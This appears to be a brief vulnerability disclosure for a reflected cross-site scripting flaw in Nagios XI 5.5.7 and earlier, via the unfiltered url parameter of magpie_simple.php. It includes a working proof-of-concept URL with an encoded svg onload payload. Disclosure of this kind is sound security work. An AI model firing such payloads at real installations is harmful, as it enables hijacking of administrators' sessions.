### Nagios XI <=5.5.7 Reflect XSS#1
The url parameter of magpie_simple.php is not filtered, resulting in an XSS vulnerability.
#### Affected Version
* Nagios XI <= 5.5.7
#### Proof of concept
```
 http://192.168.177.130/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_simple.php?url=111%22%3E%3Csvg%2Fonload%3Dalert(1)%3E
```

                      
                    
                  
                
              
             
        
          
暂无评论